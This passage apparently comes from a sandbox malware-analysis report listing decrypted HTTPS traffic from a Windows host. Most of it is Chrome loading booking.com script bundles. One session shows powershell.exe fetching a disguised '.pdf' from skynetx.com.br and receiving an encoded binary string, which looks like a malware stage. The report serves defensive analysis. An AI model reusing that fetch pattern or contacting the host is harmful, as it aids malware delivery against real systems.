1.058l.04-.04a8.996 8.996 0 0 1 12.722.04.75.75 0 0 0 1.064-1.058M22.5 12c0 5.799-4.701 10.5-10.5 10.5S1.5 17.799 1.5 12 6.201 1.5 12 1.5 22.5 6.201 22.5 12m1.5 0
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: 6e 73 74 20 6e 3d 28 28 29 3d 3e 7b 6c 65 74 20 65 3b 72 65 74 75 72 6e 28 29 3d 3e 7b 69 66 28 65 29 72 65 74 75 72 6e 20 65 3b 63 6f 6e 73 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 72 65 74 75 72 6e 20 74 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 74 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 39 39 39 70 78 22 2c 74 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 35 30 70 78 22 2c 74 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 35 30 70 78 22 2c 74 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 73 63 72 6f 6c 6c 22 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2c 65 3d 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 Data Ascii: nst n=(()=>{let e;return()=>{if(e)return e;const t=document.createElement("div");return t.style.position="absolute",t.style.top="-9999px",t.style.width="50px",t.style.height="50px",t.style.overflow="scroll",document.body.appendChild(t),e=t.getBoundingClie
2024-11-02 13:00:11 UTC	1776	IN	Data Raw: 61 6d 65 3a 73 2c 76 61 72 69 61 6e 74 3a 22 74 65 72 74 69 61 72 79 2d 6e 65 75 74 72 61 6c 22 2c 69 63 6f 6e 3a 63 2c 73 69 7a 65 3a 22 6c 61 72 67 65 22 2c 61 74 74 72 69 62 75 74 65 73 3a 7b 22 61 72 69 61 2d 6c 61 62 65 6c 22 3a 61 7d 2c 6f 6e 43 6c 69 63 6b 3a 6e 7d 29 7d 29 29 2c 5f 3d 6e 28 39 33 31 39 31 29 3b 63 6f 6e 73 74 20 41 3d 72 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 7b 7d 29 3b 76 61 72 20 4e 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 63 68 69 6c 64 72 65 6e 3a 74 2c 2e 2e 2e 6e 7d 3d 65 2c 7b 73 74 61 72 74 44 61 74 65 3a 6f 2c 65 6e 64 44 61 74 65 3a 61 7d 3d 6e 2c 5b 69 2c 6c 5d 3d 72 2e 75 73 65 53 74 61 74 65 28 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 41 2e 50 72 6f 76 69 64 65 72 2c 7b 76 Data Ascii: ame:s,variant:"tertiary-neutral",icon:c,size:"large",attributes:{"aria-label":a},onClick:n})})),_=n(93191);const A=r.createContext({});var N=e=>{const{children:t,...n}=e,{startDate:o,endDate:a}=n,[i,l]=r.useState(null);return r.createElement(A.Provider,{v
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: 2e 2e 41 2c 73 65 6c 65 63 74 65 64 3a 69 7d 29 3a 6e 75 6c 6c 29 29 7d 3b 76 61 72 20 54 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 64 61 74 65 3a 74 2c 6f 6e 4b 65 79 44 6f 77 6e 3a 6e 2c 66 69 72 73 74 44 61 74 65 49 53 4f 3a 61 2c 66 6f 63 75 73 65 64 44 61 74 65 49 53 4f 3a 69 7d 3d 65 2c 7b 68 61 6e 64 6c 65 4d 6f 75 73 65 49 6e 3a 6c 2c 68 61 6e 64 6c 65 4d 6f 75 73 65 4f 75 74 3a 75 2c 68 61 6e 64 6c 65 43 6c 69 63 6b 3a 73 2c 69 73 49 6e 52 61 6e 67 65 3a 64 2c 69 73 53 65 6c 65 63 74 65 64 3a 70 2c 69 73 53 65 6c 65 63 74 69 6f 6e 53 74 61 72 74 3a 6d 2c 69 73 53 65 6c 65 63 74 69 6f 6e 45 6e 64 3a 68 2c 69 73 44 69 73 61 62 6c 65 64 3a 76 2c 63 6c 61 73 73 4e 61 6d 65 3a 67 2c 61 63 63 65 73 73 69 62 69 6c 69 74 79 48 69 6e 74 3a 62 2c 69 73 54 6f 64 61 Data Ascii: ..A,selected:i}):null))};var T=e=>{const{date:t,onKeyDown:n,firstDateISO:a,focusedDateISO:i}=e,{handleMouseIn:l,handleMouseOut:u,handleClick:s,isInRange:d,isSelected:p,isSelectionStart:m,isSelectionEnd:h,isDisabled:v,className:g,accessibilityHint:b,isToda
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: 29 28 6f 2e 41 2c 22 63 6f 6c 75 6d 6e 2d 2d 73 69 7a 65 22 2c 74 29 2c 28 30 2c 61 2e 46 6a 29 28 6f 2e 41 2c 22 63 6f 6c 75 6d 6e 2d 2d 6f 66 66 73 65 74 22 2c 6e 29 29 3b 72 65 74 75 72 6e 20 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 69 2e 41 2e 49 74 65 6d 2c 7b 74 61 67 4e 61 6d 65 3a 63 2c 61 74 74 72 69 62 75 74 65 73 3a 66 2c 63 6c 61 73 73 4e 61 6d 65 3a 64 2c 61 6c 69 67 6e 53 65 6c 66 3a 6c 7d 2c 75 29 7d 7d 2c 31 39 33 35 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 7d 29 3b 76 61 72 20 72 3d 6e 28 39 36 35 34 30 29 2c 6f 3d 6e 28 35 39 34 39 30 29 2c 61 3d 6e 28 33 33 31 36 32 29 2c 69 3d 7b 72 6f 6f 74 Data Ascii: )(o.A,"column--size",t),(0,a.Fj)(o.A,"column--offset",n));return r.createElement(i.A.Item,{tagName:c,attributes:f,className:d,alignSelf:l},u)}},19353:function(e,t,n){"use strict";n.d(t,{A:function(){return l}});var r=n(96540),o=n(59490),a=n(33162),i={root
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: 61 73 73 4e 61 6d 65 3a 28 30 2c 6f 2e 78 57 29 28 6c 2c 22 4b 74 6e 70 6b 33 75 33 77 6a 75 35 64 63 43 53 46 51 68 77 22 29 7d 29 29 3a 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 76 2c 7b 2e 2e 2e 79 2c 63 6c 61 73 73 4e 61 6d 65 3a 68 7d 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 28 30 2c 6f 2e 78 57 29 28 6c 2c 75 29 7d 29 2c 22 74 68 72 65 65 2d 6c 69 6e 65 73 22 3d 3d 3d 74 26 26 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 28 30 2c 6f 2e 78 57 29 28 6c 2c 75 29 7d 29 2c 28 22 74 77 6f 2d 6c 69 6e 65 73 22 3d 3d 3d 74 7c 7c 22 74 68 72 65 65 2d 6c 69 6e 65 73 22 3d 3d 3d 74 29 26 26 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 Data Ascii: assName:(0,o.xW)(l,"Ktnpk3u3wju5dcCSFQhw")})):r.createElement(v,{...y,className:h},r.createElement("span",{className:(0,o.xW)(l,u)}),"three-lines"===t&&r.createElement("span",{className:(0,o.xW)(l,u)}),("two-lines"===t\|\|"three-lines"===t)&&r.createElement
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: 61 73 65 22 72 65 6e 64 65 72 22 3a 72 65 74 75 72 6e 7b 2e 2e 2e 65 2c 61 63 74 69 76 65 3a 21 30 7d 3b 63 61 73 65 22 73 68 6f 77 22 3a 72 65 74 75 72 6e 7b 2e 2e 2e 65 2c 76 69 73 69 62 6c 65 3a 21 30 7d 3b 63 61 73 65 22 68 69 64 65 22 3a 72 65 74 75 72 6e 7b 2e 2e 2e 65 2c 76 69 73 69 62 6c 65 3a 21 31 7d 3b 63 61 73 65 22 72 65 6d 6f 76 65 22 3a 63 6f 6e 73 74 20 6e 3d 21 21 74 2e 70 61 79 6c 6f 61 64 3f 2e 6b 65 65 70 4d 6f 75 6e 74 65 64 3b 72 65 74 75 72 6e 7b 2e 2e 2e 65 2c 61 63 74 69 76 65 3a 6e 2c 76 69 73 69 62 6c 65 3a 21 31 2c 73 74 79 6c 65 73 3a 6e 3f 65 2e 73 74 79 6c 65 73 3a 7b 2e 2e 2e 6d 2c 7a 49 6e 64 65 78 3a 65 2e 73 74 79 6c 65 73 2e 7a 49 6e 64 65 78 7d 7d 3b 63 61 73 65 22 75 70 64 61 74 65 22 3a 72 65 74 75 72 6e 7b 2e 2e 2e Data Ascii: ase"render":return{...e,active:!0};case"show":return{...e,visible:!0};case"hide":return{...e,visible:!1};case"remove":const n=!!t.payload?.keepMounted;return{...e,active:n,visible:!1,styles:n?e.styles:{...m,zIndex:e.styles.zIndex}};case"update":return{...
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: 65 66 3a 74 2c 62 6c 6f 63 6b 69 6e 67 3a 72 7d 2c 69 3d 65 7d 29 28 63 2c 6e 2c 75 2c 21 21 73 29 2c 28 29 3d 3e 6c 28 63 29 7d 29 2c 5b 74 2c 63 2c 6e 2c 75 2c 73 5d 29 2c 7b 69 73 44 69 73 6d 69 73 73 69 62 6c 65 3a 66 7d 7d 7d 2c 35 39 36 37 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 39 36 35 34 30 29 3b 74 2e 41 3d 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 72 2e 75 73 65 49 64 28 29 3b 72 65 74 75 72 6e 20 65 7c 7c 74 7d 7d 2c 38 34 38 30 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 39 36 35 34 30 29 3b 63 6f 6e 73 74 20 6f 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 72 2e Data Ascii: ef:t,blocking:r},i=e})(c,n,u,!!s),()=>l(c)}),[t,c,n,u,s]),{isDismissible:f}}},59679:function(e,t,n){"use strict";var r=n(96540);t.A=e=>{const t=r.useId();return e\|\|t}},84808:function(e,t,n){"use strict";var r=n(96540);const o="undefined"!=typeof window?r.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49739	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:10 UTC	572	OUT	GET /psb/accountsportal/assets/index_ddf778f4f644e59e0e78.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:11 UTC	728	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3332501 Connection: close Date: Fri, 01 Nov 2024 23:27:17 GMT Last-Modified: Fri, 01 Nov 2024 17:50:37 GMT ETag: "33508011962732938659291ffbe05b95" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: zA5RA2TXuJ_HAt5rLkYOTCCMmFE3R8uQ Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 67cd7fbfa7b3b35b6217719b3f0167d2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 25vvRFcQqSWh-m6eKmo9dcAfHNlrjzIm3EGypUvmOeLhFJLY3_lnVA== Age: 48774 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:11 UTC	15656	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 37 5d 2c 7b 34 33 34 35 30 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 69 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 72 65 74 75 72 6e 20 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 Data Ascii: (self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[57],{43450:function(n,e,t){"use strict";var i;function a(n){return a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: a7 d9 84 d9 87 d8 a7 d8 aa d9 81 22 7d 2c 61 63 63 6f 75 6e 74 5f 72 65 71 75 65 73 74 5f 74 68 72 6f 74 74 6c 65 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d8 a3 d8 ac d8 b1 d9 8a d8 aa 20 d9 85 d8 ad d8 a7 d9 88 d9 84 d8 a7 d8 aa 20 d9 83 d8 ab d9 8a d8 b1 d8 a9 2e 20 d9 8a d8 b1 d8 ac d9 89 20 d8 a7 d9 84 d9 85 d8 ad d8 a7 d9 88 d9 84 d8 a9 20 d9 85 d8 b1 d8 a9 20 d8 a3 d8 ae d8 b1 d9 89 20 d9 84 d8 a7 d8 ad d9 82 d8 a7 d9 8b 2e 22 7d 2c 61 63 63 6f 75 6e 74 5f 72 65 73 65 74 5f 70 61 73 73 77 6f 72 64 5f 63 6f 6e 66 69 72 6d 5f 6c 62 6c 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d8 aa d8 a3 d9 83 d9 8a d8 af 20 d9 83 d9 84 d9 85 d8 a9 20 d8 a7 d9 84 d9 85 d8 b1 d9 88 d8 b1 22 7d 2c 61 63 63 6f 75 6e 74 5f 72 65 73 Data Ascii: "},account_request_throttled:function(n){return" . ."},account_reset_password_confirm_lbl:function(n){return" "},account_res
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: 89 20 50 61 72 74 6e 65 72 20 48 75 62 22 7d 2c 65 78 74 5f 6c 6f 67 69 6e 5f 70 61 67 65 5f 75 6e 63 6f 6e 66 69 72 6d 65 64 5f 61 63 63 6f 75 6e 74 5f 61 6c 65 72 74 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d9 8a d8 b1 d8 ac d9 89 20 d8 aa d8 a3 d9 83 d9 8a d8 af 20 d8 ad d8 b3 d8 a7 d8 a8 d9 83 20 d9 84 d8 aa d8 aa d9 85 d9 83 d9 86 20 d9 85 d9 86 20 d8 aa d8 b3 d8 ac d9 8a d9 84 20 d8 a7 d9 84 d8 af d8 ae d9 88 d9 84 22 7d 2c 65 78 74 72 61 6e 65 74 5f 63 61 6e 74 5f 32 66 61 5f 62 65 63 61 75 73 65 5f 6e 6f 5f 63 61 6c 6c 5f 73 6d 73 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d8 b1 d9 82 d9 85 20 d8 a7 d9 84 d9 87 d8 a7 d8 aa d9 81 20 d8 b5 d8 ad d9 8a d8 ad d8 8c 20 d9 84 d9 83 d9 86 20 d9 84 d9 85 20 d9 8a d8 b5 Data Ascii: Partner Hub"},ext_login_page_unconfirmed_account_alert:function(n){return" "},extranet_cant_2fa_because_no_call_sms:function(n){return"
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: d8 a7 d9 84 d8 ae d8 a7 d8 b5 20 d8 a8 d9 83 2e 20 d9 8a d8 b1 d8 ac d9 89 20 d9 83 d8 aa d8 a7 d8 a8 d8 aa d9 87 20 d8 a3 d8 af d9 86 d8 a7 d9 87 20 d9 84 d9 86 d8 aa d8 ad d9 82 d9 82 20 d9 85 d9 86 20 d9 87 d9 88 d9 8a d8 aa d9 83 2e 22 7d 2c 69 64 65 6e 74 69 74 79 5f 6c 69 6e 6b 5f 61 63 63 6f 75 6e 74 73 5f 70 72 6f 76 69 64 65 5f 65 6d 61 69 6c 5f 68 65 61 64 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d9 86 d8 ad d8 aa d8 a7 d8 ac 20 d8 b9 d9 86 d9 88 d8 a7 d9 86 20 d8 a7 d9 84 d8 a8 d8 b1 d9 8a d8 af 20 d8 a7 d9 84 d8 a5 d9 84 d9 83 d8 aa d8 b1 d9 88 d9 86 d9 8a 20 d8 a7 d9 84 d8 ae d8 a7 d8 b5 20 d8 a8 d9 83 22 7d 2c 69 64 65 6e 74 69 74 79 5f 6c 69 6e 6b 5f 61 63 63 6f 75 6e 74 73 5f 70 72 6f 76 69 64 65 5f 65 6d 61 69 Data Ascii: . ."},identity_link_accounts_provide_email_heading:function(n){return" "},identity_link_accounts_provide_emai
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: b3 d8 aa d8 ae d8 af d8 a7 d9 85 20 d8 ad d8 b3 d8 a7 d8 a8 20 d8 a7 d9 84 d8 aa d9 88 d8 a7 d8 b5 d9 84 20 d8 a7 d9 84 d8 a7 d8 ac d8 aa d9 85 d8 a7 d8 b9 d9 8a 20 d8 a7 d9 84 d8 ae d8 a7 d8 b5 20 d8 a8 d9 83 20 d9 84 d9 84 d9 88 d8 b5 d9 88 d9 84 20 d8 a5 d9 84 d9 89 20 d8 ae d8 af d9 85 d8 a7 d8 aa d9 86 d8 a7 2e 22 7d 2c 69 75 78 5f 70 61 73 73 77 6f 72 64 5f 61 72 69 61 5f 6c 61 62 65 6c 5f 73 68 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d8 a5 d8 b8 d9 87 d8 a7 d8 b1 20 d9 83 d9 84 d9 85 d8 a9 20 d8 a7 d9 84 d9 85 d8 b1 d9 88 d8 b1 22 7d 2c 69 75 78 5f 70 68 6f 6e 65 5f 6e 75 6d 62 65 72 5f 69 6e 76 61 6c 69 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d9 8a d8 a8 d8 af d9 88 20 d8 a3 d9 86 20 d8 b1 d9 82 d9 Data Ascii: ."},iux_password_aria_label_show:function(n){return" "},iux_phone_number_invalid:function(n){return"
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: bd d1 82 d0 b0 d0 ba d1 82 22 7d 2c 61 63 63 6f 75 6e 74 5f 63 72 65 61 74 65 5f 70 65 72 73 6f 6e 61 6c 5f 64 65 74 61 69 6c 73 5f 69 6e 66 6f 72 6d 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d0 92 d0 b0 d1 88 d0 b5 d1 82 d0 be 20 d0 bf d1 8a d0 bb d0 bd d0 be 20 d0 b8 d0 bc d0 b5 20 d0 b8 20 d1 82 d0 b5 d0 bb d0 b5 d1 84 d0 be d0 bd d0 b5 d0 bd 20 d0 bd d0 be d0 bc d0 b5 d1 80 20 d1 81 d0 b0 20 d0 bd d1 83 d0 b6 d0 bd d0 b8 20 d0 b7 d0 b0 20 d0 be d1 81 d0 b8 d0 b3 d1 83 d1 80 d1 8f d0 b2 d0 b0 d0 bd d0 b5 20 d0 bd d0 b0 20 d1 81 d0 b8 d0 b3 d1 83 d1 80 d0 bd d0 be d1 81 d1 82 20 d0 b7 d0 b0 20 d0 b2 d0 b0 d1 88 d0 b8 d1 8f 20 22 2b 74 28 22 62 5f 63 6f 6d 70 61 6e 79 6e 61 6d 65 22 2c 6e 29 2b 22 20 d0 bf d1 80 d0 be d1 84 d0 b8 d0 bb Data Ascii: "},account_create_personal_details_inform:function(n){return" "+t("b_companyname",n)+"
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: 22 7d 2c 61 63 63 6f 75 6e 74 5f 74 66 61 5f 63 75 73 74 6f 6d 65 72 5f 73 65 72 76 69 63 65 5f 6f 70 74 69 6f 6e 32 5f 69 6e 66 6f 72 6d 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d0 98 d0 bc d0 b0 d0 b9 d1 82 d0 b5 20 d0 bf d1 80 d0 b5 d0 b4 d0 b2 d0 b8 d0 b4 2c 20 d1 87 d0 b5 20 d0 bf d0 be d1 80 d0 b0 d0 b4 d0 b8 20 d0 bc d0 b5 d1 80 d0 ba d0 b8 20 d0 b7 d0 b0 20 d1 81 d0 b8 d0 b3 d1 83 d1 80 d0 bd d0 be d1 81 d1 82 20 d0 bc d0 be d0 b6 d0 b5 d0 bc 20 d0 b4 d0 b0 20 d1 83 d0 bf d1 8a d0 bb d0 bd d0 be d0 bc d0 be d1 89 d0 b8 d0 bc 20 d0 bf d0 be d1 82 d0 b2 d1 8a d1 80 d0 b4 d0 b5 d0 bd d0 b8 20 d0 b2 d0 bb d0 b8 d0 b7 d0 b0 d0 bd d0 b8 d1 8f 20 d0 b2 20 d0 bf d1 80 d0 be d1 84 d0 b8 d0 bb 20 d1 81 d0 b0 d0 bc d0 be 20 d1 87 d1 80 d0 Data Ascii: "},account_tfa_customer_service_option2_inform:function(n){return" ,
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: b8 d1 8f d1 82 20 d0 b8 d0 bc d0 b5 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 b1 d0 b5 d1 88 d0 b5 20 d0 b2 d1 8a d0 b7 d1 81 d1 82 d0 b0 d0 bd d0 be d0 b2 d0 b5 d0 bd 22 7d 2c 69 61 6d 5f 65 6d 61 69 6c 5f 72 65 73 65 72 76 65 64 5f 62 6f 64 79 31 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d0 a2 d0 be d0 b7 d0 b8 20 d0 b8 d0 bc d0 b5 d0 b9 d0 bb 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 20 d0 b2 20 d0 bc d0 be d0 bc d0 b5 d0 bd d1 82 d0 b0 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 20 d0 b4 d0 b0 20 d0 b1 d1 8a d0 b4 d0 b5 20 d0 b8 d0 b7 d0 bf d0 be d0 bb d0 b7 d0 b2 d0 b0 d0 bd 20 d0 b7 d0 b0 20 d0 b2 d0 bb d0 b8 d0 b7 d0 b0 d0 bd d0 b5 20 d0 b2 20 d0 bf d1 80 d0 be d1 84 d0 b8 d0 bb d0 b0 2e 20 d0 98 d0 b7 d0 bf d1 80 d0 b0 d1 82 d0 b8 d1 85 d0 bc d0 b5 Data Ascii: "},iam_email_reserved_body1:function(n){return" .
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: d0 b6 d0 b5 d1 82 d0 b5 20 d0 b4 d0 b0 20 d1 80 d0 b0 d0 b7 d0 b1 d0 b5 d1 80 d0 b5 d1 82 d0 b5 20 d0 ba d0 b0 d0 ba 20 d0 b4 d0 b0 20 d0 b0 d0 ba d1 82 d1 83 d0 b0 d0 bb d0 b8 d0 b7 d0 b8 d1 80 d0 b0 d1 82 d0 b5 20 d0 b2 d0 b0 d1 88 d0 b0 d1 82 d0 b0 20 d0 be d0 bf d0 b5 d1 80 d0 b0 d1 86 d0 b8 d0 be d0 bd d0 bd d0 b0 20 d1 81 d0 b8 d1 81 d1 82 d0 b5 d0 bc d0 b0 2e 22 7d 2c 69 64 65 6e 74 69 74 79 5f 70 6f 70 5f 75 70 5f 6e 65 77 5f 64 65 76 69 63 65 5f 6e 65 65 64 65 64 5f 61 6e 64 72 6f 69 64 5f 68 65 61 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d0 90 d0 ba d1 82 d1 83 d0 b0 d0 bb d0 b8 d0 b7 d0 b8 d1 80 d0 b0 d0 b9 d1 82 d0 b5 20 d0 be d0 bf d0 b5 d1 80 d0 b0 d1 86 d0 b8 d0 be d0 bd d0 bd d0 b0 d1 82 d0 b0 20 d1 81 d0 b8 d1 Data Ascii: ."},identity_pop_up_new_device_needed_android_header:function(n){return"
2024-11-02 13:00:11 UTC	16384	IN	Data Raw: 20 d0 b4 d0 b0 20 d1 81 d0 b5 20 d0 bf d1 80 d0 b8 d0 b4 d1 8a d1 80 d0 b6 d0 b0 20 d0 ba d1 8a d0 bc 20 d0 b4 d1 80 d1 83 d0 b3 d0 b8 20 d1 81 d1 82 d0 b0 d0 bd d0 b4 d0 b0 d1 80 d1 82 d0 b8 20 d0 b7 d0 b0 20 d0 bf d0 be d0 b2 d0 b5 d1 80 d0 b8 d1 82 d0 b5 d0 bb d0 bd d0 be d1 81 d1 82 2c 20 d0 b0 d0 ba d0 be 20 d1 81 d0 b5 20 d0 bd d0 b0 d0 bc d0 b8 d1 80 d0 b0 20 d0 b8 d0 b7 d0 b2 d1 8a d0 bd 20 d0 95 d0 b2 d1 80 d0 be d0 bf d0 b5 d0 b9 d1 81 d0 ba d0 be d1 82 d0 be 20 d0 b8 d0 ba d0 be d0 bd d0 be d0 bc d0 b8 d1 87 d0 b5 d1 81 d0 ba d0 be 20 d0 bf d1 80 d0 be d1 81 d1 82 d1 80 d0 b0 d0 bd d1 81 d1 82 d0 b2 d0 be 2e 22 7d 2c 6f 61 75 74 68 5f 73 63 6f 70 65 5f 64 65 73 63 72 69 70 74 69 6f 6e 5f 62 6f 6f 6b 69 6e 67 5f 64 6d 61 3a 66 75 6e 63 74 69 6f Data Ascii: , ."},oauth_scope_description_booking_dma:functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49738	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:10 UTC	152	OUT	GET /license/2/1xx.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:11 UTC	210	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:08 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:30:29 GMT Accept-Ranges: bytes Content-Length: 72 Connection: close Content-Type: application/pdf
2024-11-02 13:00:11 UTC	72	IN	Data Raw: 30 31 30 30 31 31 31 30 30 31 31 30 30 31 30 31 30 31 31 31 30 31 31 31 30 31 30 31 30 30 30 30 30 31 30 30 30 31 30 31 30 30 31 31 30 30 31 30 30 30 31 30 31 31 31 30 30 31 30 31 30 30 30 30 30 31 30 30 30 31 30 31 Data Ascii: 010011100110010101110111010100000100010100110010001011100101000001000101

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49744	18.238.243.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:11 UTC	391	OUT	GET /psb/accountsportal/assets/133_878a17a1dd9684883a3d.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
